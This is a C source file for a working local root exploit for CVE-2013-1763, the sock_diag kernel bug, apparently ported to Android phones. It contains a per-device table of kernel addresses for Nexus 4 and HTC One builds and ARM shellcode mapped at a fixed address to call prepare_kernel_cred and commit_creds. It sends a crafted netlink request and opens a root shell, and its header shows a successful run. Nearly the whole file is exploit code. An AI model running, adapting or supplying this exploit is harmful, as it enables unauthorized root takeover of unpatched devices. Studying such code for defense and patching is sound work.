sock_diag.c

/*
* CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
*
* Ported by fuzion24
*
* Tested on Nexus 4 
*   cshell@mako:/ $ cat /proc/version
*   Linux version 3.4.0-perf-gf43c3d9 ([email protected]) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Mon Jun 17 16:55:05 PDT 2013
*   shell@mako:/data/local/tmp $ ./diag_sock_exploit
*   Sock diag handlers c11d8048
*   mmapping at 0x340000, size = 0x200000
*   uid=0, euid=0
*/

#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
#include <sys/utsname.h>

//#define DEBUG


// Have to keep this table for kernel symbols and indexes (the family) to usable sock_diag_handlers
// having kallsyms would make this easier, but wouldn't necessarily allow us to chose the correct index into sock_diag_handler
static const struct
{
    const char* release;            // parameters from uname() to identify the running kernel
    const char* version;
    const char* description;        // human-readable description
    __u32 commit_creds;             // address from kallsyms
    __u32 prepare_kernel_cred;      // address from kallsyms
    __u32 mmap_start;               // address to mmap
    __u32 mmap_size;                // length to mmap
    __u8 family;
} deviceParamTable[] =
{
    {
        "3.4.0-perf-gf43c3d9",
        "#1 SMP PREEMPT Mon Jun 17 16:55:05 PDT 2013",
        "Nexus 4 - google/occam/mako:4.3/JWR66Y/776638:user/release-keys",
        0xc008e138,
        0xc008e674,
        0x340000,
        0x200000,
        148
    },
    {
        "3.4.10-g1cbcae4",
        "#1 SMP PREEMPT Fri Oct 4 17:56:23 CST 2013",
        "HTC One - T-Mobile",
        0xc00b4e00,
        0xc00b5338,
        0x340000,
        0x200000,
        130
    },
    {
        "3.4.10-g3e91b8d",
        "#1 SMP PREEMPT Fri Nov 8 01:11:22 CST 2013",
        "HTC One - Verizon",
        0xc00b21b8,
        0xc00b2694,
        0x330000,
        0x300000,
        149
    },
    {
        "3.4.10-g40851b1",
        "#1 SMP PREEMPT Fri Nov 15 02:33:16 CST 2013",
        "HTC One - Verizon",
        0xc00c4958,
        0xc00c4e90,
        0x330000,
        0x300000,
        130
    }
};

int main(int argc, char*argv[])
{
    int fd;

    struct {
        struct nlmsghdr nlh;
        struct unix_diag_req r;
    } req;

    __u32 commit_creds = 0;
    __u32 prepare_kernel_cred = 0;
    __u32 mmap_start = 0;
    __u32 mmap_size = 0;
    __u8 family = 0;

#ifdef DEBUG
    if ( argc >= 2 )
    {
       if ((family = atoi (argv[1])) <= 0)
       {
         fprintf(stderr, "Usage: %s AF_NETLINK_FAMILY\n", argv[0]); exit(1);
       }
       printf("Family value from cmdline %d\n", family);
    }

#else
    // determine which kernel we're running with
    struct utsname name;
    uname( &name );

    int i;
    int cnt = sizeof( deviceParamTable ) / sizeof( deviceParamTable[ 0 ] );
    for( i = 0; i < cnt; i++ )
    {
        if( !strcmp( deviceParamTable[ i ].release, name.release )
            && !strcmp( deviceParamTable[ i ].version, name.version ) )
        {
            printf( "[+] using parameters for %s\n", deviceParamTable[ i ].description );
            mmap_start = deviceParamTable[ i ].mmap_start;
            mmap_size = deviceParamTable[ i ].mmap_size;
            family = deviceParamTable[ i ].family;
            commit_creds = deviceParamTable[ i ].commit_creds;
            prepare_kernel_cred = deviceParamTable[ i ].prepare_kernel_cred;
            break;
        }
    }

    if( !commit_creds || !prepare_kernel_cred || !mmap_start || !mmap_size || !family )
    {
        printf( "[-] Unrecognized kernel %s %s\n", name.release, name.version );
        return 1;
    }

#endif

    if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
        printf("Can't create sock diag socket\n");
        return -1;
    }

    bzero(&req, sizeof(req));
    req.nlh.nlmsg_len = sizeof(req);
    req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
    req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
    req.nlh.nlmsg_seq = 123456;

    req.r.udiag_states = -1;
    req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
    req.r.sdiag_family = family;

#ifndef DEBUG

    if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
        perror( "mmap" );
        exit(1);
    }

    //0x00000000 is nop for ARM
    bzero( (void*)mmap_start, mmap_size );

    __u32 jump[] = {
        //00000000 <_start>:
        /*   0:*/   0xe92d4010,           //  push    {r4, lr}
        /*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start+0x1c> (prepare_kernel_creds)
        /*   8:*/   0xe3a00000,           //  mov r0, #0
        /*   c:*/   0xe12fff33,           //  blx r3
        /*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start+0x20>  (commit_creds)
        /*  14:*/   0xe12fff33,           //  blx r3
        /*  18:*/   0xe8bd8010,           //  pop {r4, pc}
        /*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred
        /*  20:*/   commit_creds          //  .word   commit_creds
    };

    memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

#endif

    if ( send(fd, &req, sizeof(req), 0) < 0) {
        printf("bad send\n");
        close(fd);
        return -1;
    }

    printf("uid=%d, euid=%d\n",getuid(), geteuid() );

    if(!getuid())
        execl( "/system/bin/sh", "sh", (char*) NULL);

}